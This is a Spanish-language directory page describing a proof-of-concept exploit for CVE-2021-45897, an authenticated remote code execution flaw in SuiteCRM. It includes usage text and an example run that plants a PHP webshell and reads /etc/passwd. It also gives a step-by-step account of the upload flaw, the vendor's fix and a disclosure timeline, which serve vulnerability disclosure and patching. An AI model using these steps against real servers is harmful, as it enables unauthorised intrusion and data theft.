Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-45897 — Exploit de RCE autenticado para SuiteCRM <= 8.0.1 mediante la carga de imágenes en plantillas de correo electrónico, implantando un webshell en PHP para la ejecución remota de comandos. | Kitploit
Herramientas/GitHubGitHub/manuelz120/cve-2021-45897
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

Exploit de RCE autenticado para SuiteCRM <= 8.0.1 mediante la carga de imágenes en plantillas de correo electrónico, implantando un webshell en PHP para la ejecución remota de comandos.

Ver Repositorio
185hace 4 añosAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-45897

PoC para CVE-2021-45897, también conocido como SCRMBT-#180 - RCE mediante Plantillas de Correo Electrónico (solo autenticado) en SuiteCRM <= 8.0.1

Esta vulnerabilidad fue reportada a SalesAgility y corregida en SuiteCRM 7.12.3 y SuiteCRM Core 8.0.2. Si estás usando versiones anteriores de SuiteCRM, te recomiendo encarecidamente que actualices.

Uso

Instalación

  1. Asegúrate de tener una versión reciente de python3 y pip instalados.
  2. Clona el repositorio: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. Instala las librerías requeridas pip3 install -r "requirements.txt"
  4. Disfruta :)

Opciones disponibles:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

Ejemplo de uso:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

Análisis técnico

Recientemente descubrí un interesante vector de ataque RCE en el Software SuiteCRM basado en PHP. La vulnerabilidad permite a un atacante autenticado con acceso al módulo EmailTemplates subir archivos PHP maliciosos, que pueden utilizarse para obtener ejecución remota de código.

Desde mi punto de vista, el manejo general de la subida de archivos en SuiteCRM parece bastante seguro. Aunque hay mucho código personalizado, los desarrolladores prestaron especial atención a eliminar cualquier extensión de archivo (lo que ocurre para la mayoría de los tipos de archivo), o a validar las extensiones y sanitizar el contenido en caso de que sea una imagen. Incluso existe una interfaz de plugins para cargar escáneres antivirus de terceros y permitirles procesar cualquier subida.

Sin embargo, me topé aleatoriamente con una pequeña característica interesante oculta en public/legacy/modules/EmailTemplates/EmailTemplate.php:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

SuiteCRM permite a los usuarios crear plantillas de correo electrónico. Las plantillas también pueden contener adjuntos, que se almacenan en un módulo separado (el módulo Notes). Los usuarios pueden adjuntar archivos arbitrarios a las plantillas de correo. El contenido del archivo no se sanitiza de ninguna manera. Sin embargo, se almacena sin extensión, por lo que incluso si contiene código PHP potencialmente malicioso, no sería ejecutado por el servidor web. Los usuarios autenticados también pueden descargar estos adjuntos usando un enlace con el formato /index.php?entryPoint=download&type=Notes&id=<note-id>.

La función repairEntryPointImages se activa cada vez que se guarda o se accede a una plantilla de correo. Si observamos el código, podemos ver que analiza el marcado (body_html) de la plantilla de correo y busca etiquetas HTML img con un atributo src especial. La expresión regular básicamente se asemeja al formato del enlace interno de descarga de adjuntos. Sin embargo, estos enlaces solo funcionan para usuarios autenticados en SuiteCRM, que muy probablemente no sea el caso del destinatario del correo. Por lo tanto, SuiteCRM crea automáticamente una copia del adjunto en la carpeta public del servidor web y reemplaza el enlace interno de descarga con la versión pública. Para asegurarse de que el cliente de correo muestre correctamente las imágenes, también añade una extensión de archivo. Sin embargo, la extensión del archivo de destino en la carpeta pública se toma directamente del parámetro de consulta filename del src de la imagen y no se valida (ten en cuenta que el filename no activa ninguna otra lógica y puede elegirse libremente).

Ahora tenemos todo lo necesario para crear un exploit que suba un webshell PHP en la carpeta public:

  1. Crea un nuevo Adjunto de Correo / Registro en el módulo Notes subiendo un webshell PHP. Recuerda el id de la Note
  2. SuiteCRM almacenará el archivo webshell sin extensión en la carpeta de subida
  3. Verifica que puedes descargar el archivo PHP accediendo a /index.php?entryPoint=download&type=Notes&id=<note_id>
  4. Crea una nueva plantilla de correo y añade una etiqueta de imagen que coincida con la expresión regular en repairEntryPointImages, pero usa .php para el parámetro de consulta filename (por ejemplo, /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).
  5. Guarda / recarga la plantilla de correo - SuiteCRM ejecutará la función repairEntryPointImages y copiará nuestro webshell con una extensión .php a la carpeta public
  6. Disfruta de tu shell en http://<<host>>/public/<<note_id>>.php

Corrección implementada

Poco después de mi informe, se lanzaron nuevas versiones de SuiteCRM (7.12.3 y 8.0.2), que contienen la siguiente corrección:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

Esto asegura que solo se utilicen extensiones de archivo de imagen válidas en repairEntryPointImages y previene la creación de archivos con extensiones no permitidas como .php.

Cronología

  • 21/12/2021: Vulnerabilidad descubierta y reportada a SuiteCRM
  • 22/12/2021: Vulnerabilidad confirmada por el proveedor (SalesAgility)
  • 27/01/2022: Lanzamiento de versiones corregidas (SuiteCRM 7.12.3 y SuiteCRM Core 8.0.2)
Descargar herramienta